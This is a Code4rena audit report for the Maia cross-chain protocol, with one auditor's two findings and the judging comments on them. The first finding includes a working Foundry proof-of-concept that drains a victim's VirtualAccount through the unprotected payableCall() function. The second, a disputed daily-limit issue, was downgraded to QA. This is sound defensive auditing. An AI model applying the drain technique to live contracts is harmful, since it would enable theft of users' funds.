Platform: Code4rena
Start Date: 22/09/2023
Pot Size: $100,000 USDC
Total HM: 15
Participants: 175
Period: 14 days
Judge: alcueca
Total Solo HM: 4
Id: 287
League: ETH
Rank: 83/175
Findings: 2
Award: $25.79
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0xTheC0der
Also found by: 0x180db, 0xDING99YA, 0xRstStn, 0xTiwa, 0xWaitress, 0xblackskull, 0xfuje, 3docSec, Aamir, Black_Box_DD, HChang26, Hama, Inspecktor, John_Femi, Jorgect, Kek, KingNFT, Kow, Limbooo, MIQUINHO, MrPotatoMagic, NoTechBG, Noro, Pessimistic, QiuhaoLi, SovaSlava, SpicyMeatball, T1MOH, TangYuanShen, Vagner, Viktor_Cortess, Yanchuan, _eperezok, alexweb3, alexxander, ast3ros, ayden, bin2chen, blutorque, btk, ciphermarco, ether_sky, gumgumzum, gztttt, hals, imare, its_basu, joaovwfreire, josephdara, klau5, kodyvim, ladboy233, marqymarq10, mert_eren, minhtrng, n1punp, nobody2018, oada, orion, peakbolt, peritoflores, perseverancesuccess, pfapostol, rvierdiiev, stuxy, tank, unsafesol, ustas, windhustler, zambody, zzzitron
0.1127 USDC - $0.11
Every user has a VirtualAccount
in the root environment in this protocol. User assets are stored in this account when the user deposits from branch chains. All of the crucial functions in the VirtualAccount
contract has requiresApprovedCaller
modifier except the payableCall()
function, which is public. An attacker can initiate a call and force the user's VirtualAccount
to transfer its funds to the attacker.
Here is the payableCall()
function:
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/VirtualAccount.sol#L85
/// @inheritdoc IVirtualAccount function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) { //@audit - it is public. uint256 valAccumulator; uint256 length = calls.length; returnData = new bytes[](length); PayableCall calldata _call; for (uint256 i = 0; i < length;) { _call = calls[i]; uint256 val = _call.value; // Humanity will be a Type V Kardashev Civilization before this overflows - andreas // ~ 10^25 Wei in existence << ~ 10^76 size uint fits in a uint256 unchecked { valAccumulator += val; } bool success; --> if (isContract(_call.target)) (success, returnData[i]) = _call.target.call{value: val}(_call.callData); //@audit - We can call the contract address globalToken. msg.sender will be address(this) if (!success) revert CallFailed(); unchecked { ++i; } } // Finally, make sure the msg.value = SUM(call[0...i].value) if (msg.value != valAccumulator) revert CallFailed(); }
This function makes a call to the target
address with the provided callData
. Because of this call is made from the VirtualAccount
to the target
, the msg.sender
of the call will be the VirtualAccount
.
If the target
is the contract address of an asset in the virtual account, any function including the transfer() function can be called without reverting because the owner of the asset and the msg.sender
are both VirtualAccount
. Therefore any asset in the VirtualAccount
can be transferred to the attacker with the correct callData
.
Anyone can steal any token from VirtualAccount
s.
You can use the protocol's test suite to prove this issue. First, you need to add these lines to ImportHelper.sol
file in the test/ulysses-omnichain/helpers
folder.
import {ERC20} from "solmate/tokens/ERC20.sol"; import {IVirtualAccount} from "@omni/interfaces/IVirtualAccount.sol"; import {VirtualAccount, PayableCall} from "@omni/VirtualAccount.sol";
Then,
- Copy and paste the code snippet below to the MulticallRootRouterTest.t.sol
file.
- Run with forge test --match-test testStealAnything_From_VirtualAccount_With_payableCall
function testStealAnything_From_VirtualAccount_With_payableCall() public { // Create accounts address victim = address(bytes20(bytes32("victim"))); address attacker = address(bytes20(bytes32("attacker"))); VirtualAccount victimAccount = rootPort.fetchVirtualAccount(victim); VirtualAccount attackerAccount = rootPort.fetchVirtualAccount(attacker); // First of all, fund the victim's virtual account, and check balances. hevm.startPrank(address(rootPort)); ERC20hTokenRoot(avaxGlobalToken).mint(address(victimAccount), 10 ether, avaxChainId); hevm.stopPrank(); // Victim has 10 ether token balance and attacker has 0 balance in their virtual accounts. assertEq(ERC20hTokenRoot(avaxGlobalToken).balanceOf(address(victimAccount)), 10 ether); assertEq(ERC20hTokenRoot(avaxGlobalToken).balanceOf(address(attackerAccount)), 0); // Create calldata for payableCall PayableCall[] memory attackCall = new PayableCall[](1); attackCall[0] = PayableCall({ // Target address is the global token contract address, which is ERC20 compatible target: avaxGlobalToken, // We will call the transfer function in this address callData: abi.encodeWithSelector(ERC20.transfer.selector, address(attackerAccount), 10 ether), value: 0 }); // Call the victim's virtual account with payableCall function hevm.startPrank(attacker); VirtualAccount(victimAccount).payableCall(attackCall); // Check balances again. Now victim has 0 and attacker took all of them. assertEq(ERC20hTokenRoot(avaxGlobalToken).balanceOf(address(victimAccount)), 0); assertEq(ERC20hTokenRoot(avaxGlobalToken).balanceOf(address(attackerAccount)), 10 ether); }
Below, you can see the test result:
Running 1 test for test/ulysses-omnichain/MulticallRootRouterTest.t.sol:MulticallRootRouterTest [PASS] testStealAnything_From_VirtualAccount_With_payableCall() (gas: 1719408) Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 17.66ms
Manuel review, Foundry
Consider adding requiresApprovedCaller
modifier to the VirtualAccount::payableCall()
too.
Access Control
#0 - c4-pre-sort
2023-10-08T14:05:00Z
0xA5DF marked the issue as duplicate of #888
#1 - c4-pre-sort
2023-10-08T14:37:50Z
0xA5DF marked the issue as sufficient quality report
#2 - c4-judge
2023-10-26T11:29:25Z
alcueca marked the issue as satisfactory
🌟 Selected for report: MrPotatoMagic
Also found by: 0xAadi, 0xDING99YA, 0xDemon, 0xRstStn, 0xSmartContract, 0xStriker, 0xWaitress, 0xbrett8571, 0xfuje, 0xsagetony, 0xsurena, 33BYTEZZZ, 3docSec, 7ashraf, ABA, ABAIKUNANBAEV, Aamir, Audinarey, Bauchibred, Black_Box_DD, Daniel526, DanielArmstrong, DanielTan_MetaTrust, Dinesh11G, Eurovickk, Franklin, Inspecktor, John, Jorgect, Joshuajee, K42, Kek, Koolex, LokiThe5th, MIQUINHO, Myd, NoTechBG, QiuhaoLi, SanketKogekar, Sathish9098, Sentry, Soul22, SovaSlava, Stormreckson, Tendency, Topmark, Udsen, V1235816, Viktor_Cortess, Viraz, Yanchuan, ZdravkoHr, Zims, albahaca, albertwh1te, alexweb3, alexxander, ast3ros, audityourcontracts, bareli, bin2chen, bronze_pickaxe, c0pp3rscr3w3r, cartlex_, castle_chain, chaduke, debo, ether_sky, gumgumzum, imare, its_basu, jaraxxus, jasonxiale, josephdara, kodyvim, ladboy233, lanrebayode77, lsaudit, mert_eren, minhtrng, n1punp, nadin, niroh, nmirchev8, orion, peakbolt, perseverancesuccess, pfapostol, ptsanev, rvierdiiev, saneryee, shaflow2, te_aut, terrancrypt, twcctop, unsafesol, ustas, versiyonbir, windhustler, yongskiws, zhaojie, ziyou-
25.6785 USDC - $25.68
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchPort.sol#L167 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchPort.sol#L188
The funds can't be utilized even if they're free to be.
BranchPort
contracts are used to keep user funds. They also have the idea of earning yields with some added strategies.
To add a strategy feature to the contract, the address should have an underlying token which should be added as a strategy token by the owner.
Once it's added as a strategy token also by calling addPortStrategy
and the _minimumReservesRatio
is set, the tokens can be transferred to the strategy contract with manage function.
addPortStrategy sets the crucial features of the strategy associated with the token.
Contract: BranchPort.sol 382: function addPortStrategy(address _portStrategy, address _token, uint256 _dailyManagementLimit) 383: external 384: override 385: requiresCoreRouter 386: { 387: if (!isStrategyToken[_token]) revert UnrecognizedStrategyToken(); 388: portStrategies.push(_portStrategy); 389: strategyDailyLimitAmount[_portStrategy][_token] = _dailyManagementLimit; 390: isPortStrategy[_portStrategy][_token] = true; 391: 392: emit PortStrategyAdded(_portStrategy, _token, _dailyManagementLimit); 393: }
It sets strategyDailyLimitAmount
: The amount that the strategy can withdraw the strategy token from the BranchPort contract in 24 hrs.
When the manage
function is called successfully, it will create a debt to the BranchPort
contract as per the transferred amount.
And due to the nature of the contract, more funds can be sent to the strategy provided that _excessReserves and _checkTimeLimit checks suffice.
Here's the whole manage
function logic;
Contract: BranchPort.sol 144: function manage(address _token, uint256 _amount) external override requiresPortStrategy(_token) { 145: // Cache Strategy Token Global Debt 146: uint256 _strategyTokenDebt = getStrategyTokenDebt[_token]; 147: 148: // Check if request would surpass the tokens minimum reserves 149: if (_amount > _excessReserves(_strategyTokenDebt, _token)) revert InsufficientReserves(); 150: 151: // Check if request would surpass the Port Strategy's daily limit 152: _checkTimeLimit(_token, _amount); 153: 154: // Update Strategy Token Global Debt 155: getStrategyTokenDebt[_token] = _strategyTokenDebt + _amount; 156: // Update Port Strategy Token Debt 157: getPortStrategyTokenDebt[msg.sender][_token] += _amount; 158: 159: // Transfer tokens to Port Strategy for management 160: _token.safeTransfer(msg.sender, _amount); 161: 162: // Emit DebtCreated event 163: emit DebtCreated(msg.sender, _token, _amount); 164: }
As can be seen on Line:155 and Line:157, the transferred amount is recorded as a debt to be paid later by the approved address.
The repaying is called as replenishing reserves and is implemented by replenishReserves
functions. While both replenishReserves
functions (1,2) serve the same, both have a common requirement to ensure the debt is paid.
Contract: BranchPort.sol 167: function replenishReserves(address _token, uint256 _amount) external override lock { 168: // Update Port Strategy Token Debt. Will underflow if not enough debt to repay. 169: getPortStrategyTokenDebt[msg.sender][_token] -= _amount; 170: 171: // Update Strategy Token Global Debt. Will underflow if not enough debt to repay. 172: getStrategyTokenDebt[_token] -= _amount; 173: 174: // Get current balance of _token 175: uint256 currBalance = ERC20(_token).balanceOf(address(this)); 176: 177: // Withdraw tokens from startegy 178: IPortStrategy(msg.sender).withdraw(address(this), _token, _amount); 179: 180: // Check if _token balance has increased by _amount 181: require(ERC20(_token).balanceOf(address(this)) - currBalance == _amount, "Port Strategy Withdraw Failed"); 182: 183: // Emit DebtRepaid event 184: emit DebtRepaid(msg.sender, _token, _amount); 185: }
But the function logic lacks one feature which the opposite was implemented in the manage
function.
As stated before, manage
incurs debt once the transfer is handled from BranchPort to the strategy address and it's registered in getStrategyTokenDebt
and getPortStrategyTokenDebt
. Also, the strategyDailyLimitRemaining
amount is updated inside the _checkTimeLimit
function.
However, strategyDailyLimitRemaining
is not being updated when the replenishReserves
is called. Even if the full debt is paid, the owners must wait for the time limit to reset the strategyDailyLimitAmount
to default.
While there are no funds at risk, we assess this as an inconsistent business logic and submit it as a Medium.
Manual Review
We recommend updating the strategyDailyLimitRemaining
once the debt is paid as per amount.
Context
#0 - c4-pre-sort
2023-10-12T13:53:11Z
0xA5DF marked the issue as sufficient quality report
#1 - 0xA5DF
2023-10-12T13:53:22Z
However, strategyDailyLimitRemaining is not being updated when the replenishReserves is called. Even if the full debt is paid, the owners must wait for the time limit to reset the strategyDailyLimitAmount to default.
Leaving open for sponsor to comment, might be a design choice
#2 - c4-pre-sort
2023-10-12T13:53:27Z
0xA5DF marked the issue as primary issue
#3 - c4-sponsor
2023-10-17T19:37:52Z
0xBugsy (sponsor) disputed
#4 - 0xBugsy
2023-10-17T19:38:51Z
This is intended functioning. The dailyLimit
is only referring to assets acquired by manage
and is not affected by replenishReserves
#5 - alcueca
2023-10-26T09:18:38Z
It would be worth to add to the natspec
#6 - c4-judge
2023-10-26T09:18:48Z
alcueca changed the severity to QA (Quality Assurance)
#7 - c4-judge
2023-10-26T09:18:53Z
alcueca marked the issue as grade-b